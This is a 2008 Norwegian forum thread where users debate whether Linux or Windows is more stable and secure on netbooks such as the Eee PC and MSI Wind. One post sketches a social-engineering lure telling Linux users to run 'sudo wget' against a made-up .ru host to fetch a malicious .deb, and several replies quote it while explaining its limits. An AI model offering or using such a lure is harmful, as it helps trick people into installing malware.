Minibærbare øker Linux-fokus

[Kahuna]

Si hva du skal ha dokumentasjon på da!

Dine egne påstander om at linux er mer stabilt og brukervennlig enn windows.

Vil du ha dokumentasjon på listen over de brukermessige fordelene med Ubuntu som jeg svarte på i innlegg #10, så er det bare å prøve eller lese om forbedringene i Ubuntu så får du det bekreftet.

Det eneste jeg kan få bekreftet av det er at siste versjon av ubuntu er bedre enn forrige. Blir litt som da MS skrøt av at win98 var bedre enn win95.

 

 

 

Du har da brukt PC en stund, så du må ha oppdaget at Windows er for ustabilt. Linux-kjernen er ikke perfekt, men på stabilitet har de ligget milevis fremme en lang tid. Det er én av grunnene til at Linux blir så mye bruk til servere. I Linux skal det ganske mye til før kjernen låser seg (kernel panic), mens tilsvarende i Windows (BSOD) kan inntreffe mye lettere. En ustabil driver eller et vanlig program kan faktisk fremkalle dette i Windows.

Jeg har faktisk måtte bruke 'svenskeknappen' på eeeen min flere ganger, så å påstå at den er immun mot denslags er tull. Forøvrig jobber jeg i en IT-avdeling og at servere krasjer skjer nesten ikke lengre (vi har et 3-sifret antall servere, ca 80/20 windows/*nix). Så lenge vi har strøm så virker de. Stabilitet er knapt et tema lenger på servere. Da får det heller være at patching og dårlige programmer tvinger oss til å reboote oftere enn det vi liker.

 

Linux er stabilt men det er windows også så du kan ikke bruke det som argument den ene eller andre veien.

 

 

 

At windows er mer utsatt for malware er det ingen tvil om, at jeg kan slippe tung AV-software på en såpass svak maskin er en av grunnene til at jeg har beholdt xandros på min eee. Om linux har en fundamentalt bedre sikkerhetsarkitektur kan jeg ikke nok om men linux nyter hvertfall godt av å være et mye mindre mål enn windows. Hadde andelen linux-maskiner vært vesentlig høyere så hadde det plutselig blitt mye mer interessant å skrive malware for platformen også.

 

 

Ikke si at det ikke hadde gått, her er en måte å infisere en linuxmaskin på som utnytter den menneskelige faktoren: Du trenger en webside som når den detekterer en linux-basert browser viser "Du må oppdatere en FF plugin for å se BRITNEY SPEARS NAKEN!!!! Åpne et terminalvindu og skriv følgende: sudo wget http://ftp.fantastic_linux_software.ru/ff/...naken.deb"

 

Skjønner? Ikke si at ingen hadde gått på den.

[meastp]

*humre* "This is the year of desktop Linux" - ikke første gang vi hører det, og ikke første året vi hører det, heller.

 

Kahuna et al. : Hvorvidt selve systemet på Linux er bedre rustet sikkerhetsmessig, har vel ikke så mye å si for en bruker, hvis ikke det er et system med flere brukere? Når jeg er logget på, har jeg skriverettigheter til ~/ (hjemmemappe). Jeg gir blanke i om systemfilene bevares, dersom alle mine dokumenter, konfigurasjonsfiler osv forsvinner.

[josh909]

Er det ikke bare noen få dager siden Hardware.no (og andre) kunne rapportere om at ASUS fikk rekord-mange Eee-PC i retur fordi folk ikke ville ha Linux allikevel? De likte den lave prisen, men ikke OSet.

Endret 10. oktober 2008 av josh909

[Langbein]

Er det ikke bare noen få dager siden Hardware.no (og andre) kunne rapportere om at ASUS fikk rekord-mange Eee-PC i retur fordi folk ikke ville ha Linux allikevel? De likte den lave prisen, men ikke OSet.

Nei, påstanden om 4x høyere returrate gjaldt kun MSI Wind, og ikke linux-maskiner generelt. MSI har gjort en dårlig jobb og blant annet levert maskiner med buggy wlan og hvor webkamera ikke funker. Tipper mange hadde returnert Windows-maskiner også hvis de fikk en maskin som er såpass dårlig testet og konfigurert fra fabrikk.

 

Men alt var kanskje ikke så ille likevel:

 

For ifølge daglig leder i PS.no:

Netthandelen PS.no selger en rekke minimaskiner til norske kunder. De opplever derimot ikke de samme problemene som det Tung beskriver.

 

- Vi selger mest minimaskiner med operativsystem fra Microsoft. For de fleste av våre kunder er nok Linux fortsatt litt nytt. Men prosentmessig er returraten helt lik mellom maskiner med Linux og maskiner med Windows XP, forklarer daglig leder i PS.no, Petter Aaland.

Endret 10. oktober 2008 av Langbein

[Del]

Si hva du skal ha dokumentasjon på da!

Dine egne påstander om at linux er mer stabilt og brukervennlig enn windows.

Vil du ha dokumentasjon på listen over de brukermessige fordelene med Ubuntu som jeg svarte på i innlegg #10, så er det bare å prøve eller lese om forbedringene i Ubuntu så får du det bekreftet.

Det eneste jeg kan få bekreftet av det er at siste versjon av ubuntu er bedre enn forrige. Blir litt som da MS skrøt av at win98 var bedre enn win95.

På servere er det klare statistikker hvor alle de ledende linux distribusjoner slår windows på oppetid, dette kan du google selv. På desktop er det værre å finne objektive statistikker, men du trenger ikke google lenge:

http://news.zdnet.co.uk/software/0,1000000...39190950,00.htm

Du finner god generell informasjon her:

http://en.wikipedia.org/wiki/Comparison_of...Linux#Stability

Jeg har faktisk måtte bruke 'svenskeknappen' på eeeen min flere ganger, så å påstå at den er immun mot denslags er tull.

Legg inn Ubuntu 8.10 når den er ferdig, så skal vi se hvor ustabilt det blir. Jeg mistenker at din ustabilitet er en konsekvens av at Asus har fulgt smekket sammen hardware med odde drivere. Dette er typisk i windowsverdenen, men ikke for linux, så jeg er redd du biter deg selv i halen her.

At windows er mer utsatt for malware er det ingen tvil om, at jeg kan slippe tung AV-software på en såpass svak maskin er en av grunnene til at jeg har beholdt xandros på min eee. Om linux har en fundamentalt bedre sikkerhetsarkitektur kan jeg ikke nok om men linux nyter hvertfall godt av å være et mye mindre mål enn windows. Hadde andelen linux-maskiner vært vesentlig høyere så hadde det plutselig blitt mye mer interessant å skrive malware for platformen også.

Dette har vi vært igjennom mange ganger før, og det er bare tull. GNU/Linux er mye sikrere ved design. GNU/Linux er faktisk et mye mer attraktivt hacker mål enn windows, så du kan være sikker på at hull blir utnyttet.

Ikke si at det ikke hadde gått, her er en måte å infisere en linuxmaskin på som utnytter den menneskelige faktoren: Du trenger en webside som når den detekterer en linux-basert browser viser "Du må oppdatere en FF plugin for å se BRITNEY SPEARS NAKEN!!!! Åpne et terminalvindu og skriv følgende: sudo wget http://ftp.fantastic_linux_software.ru/ff/...naken.deb"

 

Skjønner? Ikke si at ingen hadde gått på den.

Når skal windowsbrukere forstå at installasjon av programmer er fundamentalt forskjellig mellom de to operativsystemene. I windows må du installere med exe filer, i linux skal du helst aldri gjøre det. Det krever derfor minimal opplæring å unngå den slags. Add-ons til firefox er på brukernivå og krever ikke passord. Det er klart noen vil bite på, men det er ikke sammenlignbart.

[BlackLagoon]

Ikke si at det ikke hadde gått, her er en måte å infisere en linuxmaskin på som utnytter den menneskelige faktoren: Du trenger en webside som når den detekterer en linux-basert browser viser "Du må oppdatere en FF plugin for å se BRITNEY SPEARS NAKEN!!!! Åpne et terminalvindu og skriv følgende: sudo wget http://ftp.fantastic_linux_software.ru/ff/...naken.deb"

 

Skjønner? Ikke si at ingen hadde gått på den.

Eh, for det første så vil jeg tro at en stor andel av dem som kunne gått på det ikke være klar over hva et terminalvindu er, og det å laste ned en .deb fil med root privilegier er da ikke spesielt farlig. Alt som skjer er at den uvitende bruker får en fil i nedlastings katalogen sin de ikke får slettet.

 

Men la oss si du får en bruker til å laste ned .deb fil og kjøre en installasjon (mulig det holder å dobbelklikke i filbehandleren). Filen må framdeles være for rett distro. Kjører brukeren en rpm basert distro som Fedora eller Mandriva, hjelper .deb filer lite, og selv innenfor Debian baserte distroer er kompatibilitets variasjoner som gjør at pakker ikke kan brukes om en annen. Kansje ikke så stort problem hvis du bare vil ødelegge data, men definitivt hvis du vil gjøre noe mer komplisert som å legge inn reklame poppups, eller gjøre den om til en botnet zombie uten at brukeren merker at noe er galt.

 

Og tilslutt, hvis du faktisk har lurt inn rett installasjons fil på rett distro, så vil brukeren få en advarsel om at pakken er usignert, og at den kan inneholde skadelig programvare. I motsetning til Windows er dette et sjeldent syn, så en kan håpe at advarselen faktisk har en effekt. I Linux er tross alt programinstallasjon og oppdatering mye mer integrert i OSet, så brukere vil etter hvert bli mindre vant til gå ut på nettet og laste ned filer fra 3. parts websider når de trenger noe nytt.

[efikkan]

Si hva du skal ha dokumentasjon på da!

Dine egne påstander om at linux er mer stabilt og brukervennlig enn windows.

Vil du ha dokumentasjon på listen over de brukermessige fordelene med Ubuntu som jeg svarte på i innlegg #10, så er det bare å prøve eller lese om forbedringene i Ubuntu så får du det bekreftet.

Det eneste jeg kan få bekreftet av det er at siste versjon av ubuntu er bedre enn forrige. Blir litt som da MS skrøt av at win98 var bedre enn win95.

Her er noen av forbedringene i de to siste utgavene:

Nytt i 8.04

Nytt i 7.10

Det kommer nye versjoner to ganger i året, og det er mye nytt hver gang.

 

Jeg har faktisk måtte bruke 'svenskeknappen' på eeeen min flere ganger, så å påstå at den er immun mot denslags er tull.

Jeg har aldri påstått at eee er immun mot å låse seg, må være noe du innbiller deg.

 

Forøvrig jobber jeg i en IT-avdeling og at servere krasjer skjer nesten ikke lengre (vi har et 3-sifret antall servere, ca 80/20 windows/*nix). Så lenge vi har strøm så virker de. Stabilitet er knapt et tema lenger på servere. Da får det heller være at patching og dårlige programmer tvinger oss til å reboote oftere enn det vi liker.

Verken programmer eller vanlig patching tvinger en Linux-server til å gå ned, nesten kun ny versjon av kjerne som krever det, og det er ikke ofte.

 

Linux er stabilt men det er windows også så du kan ikke bruke det som argument den ene eller andre veien.

Windows er ikke stabilt nok, selv til privat bruk. Det er forkastelig at vanlig bruk kan få systemet til å gå ned uten at det er feil med maskinvare eller drivere.

 

 

At windows er mer utsatt for malware er det ingen tvil om, at jeg kan slippe tung AV-software på en såpass svak maskin er en av grunnene til at jeg har beholdt xandros på min eee. Om linux har en fundamentalt bedre sikkerhetsarkitektur kan jeg ikke nok om men linux nyter hvertfall godt av å være et mye mindre mål enn windows. Hadde andelen linux-maskiner vært vesentlig høyere så hadde det plutselig blitt mye mer interessant å skrive malware for platformen også.

Det hadde isåfall vært mer skadelig programvare for Linux, men det er langt mer utfordrende på grunn av bedre sikkerhetsarkitektur, og administratorbegrensningen gjør at brukeren må lures ikke bare til å kjøre programmet, men også gi det administratorrettigheter. Tilsvarende sperre i Windows er veldig lett å gå rundt.

 

Ikke si at det ikke hadde gått, her er en måte å infisere en linuxmaskin på som utnytter den menneskelige faktoren: Du trenger en webside som når den detekterer en linux-basert browser viser "Du må oppdatere en FF plugin for å se BRITNEY SPEARS NAKEN!!!! Åpne et terminalvindu og skriv følgende: sudo wget http://ftp.fantastic_linux_software.ru/ff/...naken.deb"

 

Skjønner? Ikke si at ingen hadde gått på den.

100% idiotsikkert blir et system aldri.

Heldigvis vil nettlesere som Firefox og Opera eliminere mange trusler for nettbrukere, desverre bruker fremdeles flertallet IE. Likevel er det mulig å få inn skadelig programvare gjennom ting som lastes ned.

 

Men om noen er så dumme at de åpner terminal og laster ned ulumsk programvare (eller laster ned og kjører i filbehandler), og bekrefter med administratorpassord, så kan brukeren bare ha det så godt, vedkommende har fått som fortjent. Folk flest vil ikke finne på dette når det krever administrator-passord og de er gjort oppmerksom på det. Virus for Linux vil ikke bli like effektive som Windows-virus.

 

En veldig plagsom ting med virus på eksterne medier som eksterne harddisker, er at de kan spre seg til andre Windows-maskiner bare ved å koble den til.

[supermannen87]

Jeg ble ganske nysgjerrig på linux i fjor, og bestemte meg til slutt for at jeg skulle prøve ut denne nye verden. Alt gikk selvfølgelig ikke på skinner med en gang ,og jeg vil ikke si at jeg er noe mere pc kynding enn den vanlige mann i gata. Men med litt hjelp av google og diverse guider på nettet (hw.no) klarte jeg å få ting til å fungere. Jeg utforsket mye å prøvde på det meste og lærte en hel del ting. Til slutt klarte jeg å sette meg litt inn i terminalen som jeg må si er helt genial når du ført har turt å prøve og etterhvert lært deg å bruke dette nyttige verktøyet.

 

Jeg sitter nå på en Linux Mint Elyssa distrubisjon etter å ha prøvd ubuntu 8.04, men jeg skal gå tilbake til ubuntu når 8.10 kommer. Eneste som har vært litt vanskelig i ubuntu har vært java og slik for å få youtube og nett-tv til å funke i opera, men det funka fra scratch i Mint For ikke å snakke om hvor mye raskere alt av nettlesere og programmer er i linux kontra windows... Da sammenligner jeg programmer som brukes i begge distroene og er av samme "merke".

 

Tror ikke du finner en enste windows installasjon som lar deg bruke maskinvaren uten å laste ned masse drivere til brikkesett, skjermkort og lydkort. Og er du skikkelig heldig funker ikke internett heller siden windows ikke har driver til nettverkskortet, noe som er tilfellet på min maskin, da må du finne fram den ganle drivercd'en som kanskje ligger på dynga. Men i ubuntu funket ALT fra jeg starta maskinen første gang! Bare valgte at jeg ville benytte meg av nvidias driver som var et klikk og alt ble lastet ned og installert automatisk. Gikk inn i legg til/fjern programmer og kunne legge til alt du kan tenke deg av programmer som du ellers må lete etter på internett og laste ned for så gå gjennom next, next, next, next, next. I linux haker jeg bare av de programmene jeg vil ha og velger Bruk, så installeres alt automatisk og legges i programmenyen. Kan det gjøres enklere for en lite datakyndig person?

 

Så konklusjonen min! Jeg blir i Linuxverden da jeg aldri har fått noen problemer og alt funker uansett. Eneste er venner som hakker ned på meg i den uvissheten om hvor enkelt alt er, da de lever i den troen av at alt innenfor linux må tweakes og herjes med.

Endret 10. oktober 2008 av supermannen87

[efikkan]

Så konklusjonen min! Jeg blir i Linuxverden da jeg aldri har fått noen problemer og alt funker uansett. Eneste er venner som hakker ned på meg i den uvissheten om hvor enkelt er, da de lever i den troen av at alt innenfor linux må tweakes og herjes med.

Det der er en vrangforestilling veldig mange sitter med.

Det er ganske mange som har blitt overrasket etter at jeg har vist hvor enkelt det er (i de fleste tilfeller enkelt).

[FJERNET111]

Jeg har selv prøvd en del linux distroer gjennom tidende og har ikke hatt problemer med noe som helst egentlig (ingenting som ikke kunne fikses i hvert fall), men har alltid endt opp med å bruke windows (kjører vista 64bit nå) på hovedmaskinen grunnet en interesse for spill. Heller ikke her har jeg hatt noen problemer med stabilitet, ja, man må kanskje restarte oftere enn en linux distro når man legger inn programmer og oppdateringer, men det ser jeg ikke på som et problem når full oppstart tar 1-2 minutter. Har enda til gode å oppleve BSOD eller andre ting som kræsjer OS'et med Vista.

 

Jeg mener at folk som mener windows er for ustabilt for privatpersoner prater piss... setter man maskinen opp skikkelig og slutter å gå inn på lugubre pornosider går det så fint skal man se. Selv på den 3 år gamle bærbare maskinen jeg har med ditto gammel XP installasjon er det helt stabilt, denne har jeg nå ikke restartet på over et halvt år (bruker bare hvilemodus). Den stasjonære slås av fordi jeg har den i nærheten av sengen og ikke er noen stor fan av viftestøy

 

Det blir opp til personlig smak og behov om man velger windows, linux eller mac osx etter min mening.

 

efikkan: hvilken vanlig (ikke feil) bruk på windows maskiner mener du fører til crash?

Endret 10. oktober 2008 av SBS

[pcp160]

Legg inn Ubuntu 8.10 når den er ferdig, så skal vi se hvor ustabilt det blir. Jeg mistenker at din ustabilitet er en konsekvens av at Asus har fulgt smekket sammen hardware med odde drivere. Dette er typisk i windowsverdenen, men ikke for linux, så jeg er redd du biter deg selv i halen her.

Vet ikke om jeg følger deg helt her nå, mulig jeg misforstår (igjen? )

At det er typisk for Windowsverden å ha problemer relatert til drivere er jeg helt ening i. Men slik jeg ser det viser vel nettopp denne kjedelige saken med MSI Wind, at til tross for at Linux benytter seg av en drivermodell som skal være mye bedre enn Windows sin, så er man ikke forskånet for akkurat de samme problemene som sluttbruker.

 

Når det gjelder stabilitet generelt, og for hjemmebruk, er det vel egentlig en litt håpløs diskusjon og det vil jo variere veldig. Jeg har ikke selv noe erfaring som tilsier at det ene er så mye verre enn det andre, ingen av delene er hverken helt problemfritt, eller helt håpløst. Jeg benytter personlig svenskeknappen mer i Linux, bla fordi det har hengt seg et stykke ut i oppstarten, eller annen type heng, og der mine kunnskaper ikke strekker til for å løse det med noe annet enn knappen. Men for ”vanlige folk” og når maskinen er vel oppe å går vil jeg nok tro at for eksempel Ubuntu kan ha potensiale for å være mer stabilt. Ikke minst tror jeg systemet med pakkebrønn er en enorm fordel fremfor alle mulige tilfeldige nedlastninger mange benytter i Windows. Det er i hvertfall min erfaring at Windows i seg selv er stabilt, problemene oppstår når man fyller på med programvare og/eller dingser med tvilsomme drivere.

[efikkan]

efikkan: hvilken vanlig (ikke feil) bruk på windows maskiner mener du fører til crash?

La meg ta f.eks. min Toshiba "laptop" med Vista Premium som jeg kjøpte for snart et år siden. Det tok bare noen få minutter med avspilling av musikk og surfing på HW og GMail før den første BSOD. Maskinen kjører i dag både Vista, XP og Ubuntu, og både Vista og XP klikker til tider. Jeg prøvde å "strippe ned" Vista og har lagt det inn på nytt uten at det virker problemfritt. Jeg var så lei av et tregt og ustabilt system under spilling, film og programmering, at nå har ikke Vistaen blitt brukt på en stund. En gang klikket maskinen da jeg kun kjørte notepad, men det var nok ikke årsaken. Jeg mistenker at skjermkortdriverne har en del av skylden. I XP er den ikke stabil nok, men min PC er mer stabil i XP selv om skjermkortdriveren er "moddet" med inf-fil, siden driveren offentlig ikke støtter skjermkortet. Det var angående min traver, over til min erfaring med andre PCer.

 

Bekjente ringer meg stadig(opptil flere ganger daglig) angående problemer med egne maskiner. De fleste bruker maskinene stort sett til å spille musikk, film og spille litt spill, stort sett ikke uvanlig eller snuskeri. Flertallet av maskinene jeg har kjennskap til opplever til tider at vanlig bruk fører til krasj, en del maskiner har vært veldig trøblete uten at det er noen opplagte feil i oppsettet.

 

Hadde Windows vært mer stabilt og ikke så enkelt å velte, så hadde det vært en fordel. F.eks. at en del av alle de tingene som forårsaker BSOD kunne gjenopprettes ved å nullstille den aktuelle delen.

[Del]

Vet ikke om jeg følger deg helt her nå, mulig jeg misforstår (igjen? )

At det er typisk for Windowsverden å ha problemer relatert til drivere er jeg helt ening i. Men slik jeg ser det viser vel nettopp denne kjedelige saken med MSI Wind, at til tross for at Linux benytter seg av en drivermodell som skal være mye bedre enn Windows sin, så er man ikke forskånet for akkurat de samme problemene som sluttbruker.

Vel de benytter seg av hardware som ikke er støttet i linux, og finner betadrivere fra andre OS som de kompilerer opp. Du kan jo prøve den øvelsen på windows. Ath5k er den første driveren til linux for trådløskortet i EEE PC, og den er muligens for første gang inne i kjerna som ble sluppet i dag.

Når det gjelder stabilitet generelt, og for hjemmebruk, er det vel egentlig en litt håpløs diskusjon og det vil jo variere veldig. Jeg har ikke selv noe erfaring som tilsier at det ene er så mye verre enn det andre, ingen av delene er hverken helt problemfritt, eller helt håpløst. Jeg benytter personlig svenskeknappen mer i Linux, bla fordi det har hengt seg et stykke ut i oppstarten, eller annen type heng, og der mine kunnskaper ikke strekker til for å løse det med noe annet enn knappen.

Heng er knyttet til skjermkortdriver her i gården, den siste bastionen for proprietære driver til linux.

 

Når det gjelder stabilitet tror jeg nok det største problemet med windows er bruksmønsteret kombinert med all malware folk blir infisert med, men trøblete drivere er typisk et større mareritt på windows enn på linux, rett og slett som følge av drivermodellen hvor driveren er lukket og kun hardwareprodusent kan de-bugge.

[pcp160]

Ok da er jeg med Del.

Og jeg tror i grunn vi er relativt enige, og ser omtrent de samme tingene her også, men jeg har likevel en litt merkelig følelse av at vi konkluderer litt forskjellig. Muligens fordi du har mer teknisk innsikt i dette enn jeg har, eller rett og slett fordi du mener årsaken er av større betydning for sluttbruker enn jeg gjør. Jeg vet ikke.

 

For jeg tror du har rett i at det godt kan være grafikkrelatert dette jeg nevnte med svenskeknappen i Linux. Da jeg begynte med Vista på mediacenter maskinen min så var det en orgie i Nvidia- relaterte heng og feilmeldinger og det som verre var. Men der jeg tror vi "mister hverandre" litt er at jeg ser det som akkurat det samme som når jeg nå opplever noe liknende med Linux. Begge deler er drivertrøbbel med dramatiske konsekvenser for meg.

 

Også den gang, da Vista var helt ny, var det en evig diskusjon om dette var Microsoft eller Nvidia sin skyld. Har overhodet ikke noe i mot å diskutere og se nærmere på dette, men til syvende og sist så spiller det egentlig ingen rolle noe annet sted enn i en diskusjon på forumet. Det som betyr noe er jo om jeg får sett mine filmer, tatt opp tv, spilt flash, osv. Hvis jeg anbefaler eller fraråder noen noe, så er det dette jeg legger til grunn. Hvilke opplevelser kan vedkommende forvente seg, ikke hvorfor.

 

For ordens skyld så har jeg nå fått løst akkurat dette eksempelet både i Linux og Vista, så det spesifikke problemet er ikke poenget her, men det virker som man ser konsekvensene med forskjellige øyne avhengig av hvem som er skyldig i elendighetene.

Jeg frykter også at jeg ikke er alene om å se det så enkelt, og tror derfor dette med Wind rammer Linux som OS vel så hardt som MSI. Egentlig litt på samme måte som mine Vista problemer rammet Microsoft vel så hardt som Nvidia.

[Torbjørn]

[...]

Så lenge vi har strøm så virker de. Stabilitet er knapt et tema lenger på servere. Da får det heller være at patching og dårlige programmer tvinger oss til å reboote oftere enn det vi liker.

[...]

 

Bare for å korrigere en detalj, vanlige programmer skal ikke føre til en reboot. Det er en ren OS-svakhet hvis det er tilfelle. Kun kernel issues skal trenge å løses med en reboot.

[FJERNET111]

La meg ta f.eks. min Toshiba "laptop" med Vista Premium som jeg kjøpte for snart et år siden. Det tok bare noen få minutter med avspilling av musikk og surfing på HW og GMail før den første BSOD. Maskinen kjører i dag både Vista, XP og Ubuntu, og både Vista og XP klikker til tider. Jeg prøvde å "strippe ned" Vista og har lagt det inn på nytt uten at det virker problemfritt. Jeg var så lei av et tregt og ustabilt system under spilling, film og programmering, at nå har ikke Vistaen blitt brukt på en stund. En gang klikket maskinen da jeg kun kjørte notepad, men det var nok ikke årsaken. Jeg mistenker at skjermkortdriverne har en del av skylden. I XP er den ikke stabil nok, men min PC er mer stabil i XP selv om skjermkortdriveren er "moddet" med inf-fil, siden driveren offentlig ikke støtter skjermkortet. Det var angående min traver, over til min erfaring med andre PCer.

 

Bekjente ringer meg stadig(opptil flere ganger daglig) angående problemer med egne maskiner. De fleste bruker maskinene stort sett til å spille musikk, film og spille litt spill, stort sett ikke uvanlig eller snuskeri. Flertallet av maskinene jeg har kjennskap til opplever til tider at vanlig bruk fører til krasj, en del maskiner har vært veldig trøblete uten at det er noen opplagte feil i oppsettet.

 

Hadde Windows vært mer stabilt og ikke så enkelt å velte, så hadde det vært en fordel. F.eks. at en del av alle de tingene som forårsaker BSOD kunne gjenopprettes ved å nullstille den aktuelle delen.

 

Da må jeg bare si at vi har svært forskjellige erfaringer

De fleste venner og bekjente kjører XP eller Vista og det er svært sjelden eller aldri jeg får telefoner om problemer (så sant det ikke gjelder virus, men det er jo selvforskyldt) med maskinene deres. De fleste henvendelsene handler om ting som "hvordan kan jeg koble til det trådløse nettverket?" o.l.

 

Men nå har jeg heller aldri(siden jeg begynte å bruke pc i 95) hatt problemer med pc'en som ikke enkelt lar seg fikse, og selv slike problemer har vært sjeldne.

[PHPdude]

(så sant det ikke gjelder virus, men det er jo selvforskyldt)

"Selvforskyldt"!? Stjerneeksempel på hjernevasking, la meg fortelle deg noe: Man skal ikke kunne få fucka programvaren sin bare fordi man åpnet en snuskete webside eller leste en e-post eller plugga maskinen til Internett en times tid.

Eneste grunnen til at sånt skjer er pga. sikkerhetshull i programvaren og "sikkerhetshull" er ikke noe annet enn et mer detaljert ord for feil, og vanligvis når produktet man har kjøpt inneholder alvorlige feil så klager man, har du kjøpt en sykkel hvor bremsene stadig vekk svikter så gir du kanskje butikken noen sjanser til å fikse det, men når de ikke klarer så forlanger du rett og slett penga tilbake eller en ny/annen sykkel. Men med Windows - istedenfor å holde Microsoft ansvarlig - så skaffer/kjøper man først et nytt produkt - antivirus - som skal dekke over hullene, og når det så allikvel går galt, så skylder man på "antivirusen" og brukeren - ja selvfølgelig er det brukeren sin skyld - han kunne jo latt være å skru på maskinen!?

 

Ganske på trynet egentlig, og dette er et sørgelig utredt fenomen, som absolutt ikke gjelder deg spesiellt.

[Del]

For jeg tror du har rett i at det godt kan være grafikkrelatert dette jeg nevnte med svenskeknappen i Linux. Da jeg begynte med Vista på mediacenter maskinen min så var det en orgie i Nvidia- relaterte heng og feilmeldinger og det som verre var. Men der jeg tror vi "mister hverandre" litt er at jeg ser det som akkurat det samme som når jeg nå opplever noe liknende med Linux. Begge deler er drivertrøbbel med dramatiske konsekvenser for meg.

Vel, det jobbes i linux med å erstatte både nvidia og ATI driveren med åpne alternativer, og for ATI har de kommet et godt stykke allerede. Du får vente noen år til når windows 8 kommer med enda en ny proprietær drivermodell, så får vi se hvem som opplever heng.

Også den gang, da Vista var helt ny, var det en evig diskusjon om dette var Microsoft eller Nvidia sin skyld. Har overhodet ikke noe i mot å diskutere og se nærmere på dette, men til syvende og sist så spiller det egentlig ingen rolle noe annet sted enn i en diskusjon på forumet.

Klart det spiller noen rolle. Ikke undervurder bevisste forbrukere, det har allerede skadet markedet nok.

Jeg frykter også at jeg ikke er alene om å se det så enkelt, og tror derfor dette med Wind rammer Linux som OS vel så hardt som MSI. Egentlig litt på samme måte som mine Vista problemer rammet Microsoft vel så hardt som Nvidia.

Det tror jeg også, det er nettopp derfor det er så viktig å forklare hvor skoen trykker. Det er jo latterlig å se forsvarstalene for Vista når drivermodellen var problemet, i dette tilfellet er det hardwareleverandør som ikke har giddet velge komponenter med støtte i linuxversjonen de vil bruke. Det er som å selge en PC med Vista hvor deler av systemet ikke har Vistadrivere, og hvor leverandøren ikke har noen planer om å tilby en driver. Ser du forskjellen? Det er så uhørt at ingen leverandører ville funnet på det, men på linux gjør de det, og vi må attpåtil sitte her å forklare det i detalj før oppegående mennesker ser at det er to forskjellige verdener.

 

Det er klart det er like trøblete for brukeren uansett, men det poenget hjelper ingen.

Endret 11. oktober 2008 av Del

[FJERNET111]

(så sant det ikke gjelder virus, men det er jo selvforskyldt)

"Selvforskyldt"!? Stjerneeksempel på hjernevasking, la meg fortelle deg noe: Man skal ikke kunne få fucka programvaren sin bare fordi man åpnet en snuskete webside eller leste en e-post eller plugga maskinen til Internett en times tid.

Eneste grunnen til at sånt skjer er pga. sikkerhetshull i programvaren og "sikkerhetshull" er ikke noe annet enn et mer detaljert ord for feil, og vanligvis når produktet man har kjøpt inneholder alvorlige feil så klager man, har du kjøpt en sykkel hvor bremsene stadig vekk svikter så gir du kanskje butikken noen sjanser til å fikse det, men når de ikke klarer så forlanger du rett og slett penga tilbake eller en ny/annen sykkel. Men med Windows - istedenfor å holde Microsoft ansvarlig - så skaffer/kjøper man først et nytt produkt - antivirus - som skal dekke over hullene, og når det så allikvel går galt, så skylder man på "antivirusen" og brukeren - ja selvfølgelig er det brukeren sin skyld - han kunne jo latt være å skru på maskinen!?

 

Ganske på trynet egentlig, og dette er et sørgelig utredt fenomen, som absolutt ikke gjelder deg spesiellt.

 

Har selv hatt virus på maskinen én gang og det er vel 11-12 år siden. Tar man noen få forhåndsregler er sjansen for å få virus _minimal_, og jeg mener derfor det er selvforskyldt. I hvert fall ettersom disse enkle forhåndsreglene har blitt fortalt til folk i mangen år nå og jeg vil likestille det med å gå på en standard nigeria-svindel (også her kan problemet løses slik at det ikke skjer, men det er fremdeles selvforskyldt).

[Torbjørn]

Hva da med det nylige tilfellet hvor det kom virus med reklamen for en honda på msn.no ?! Default startside for windowsinstallasjoner.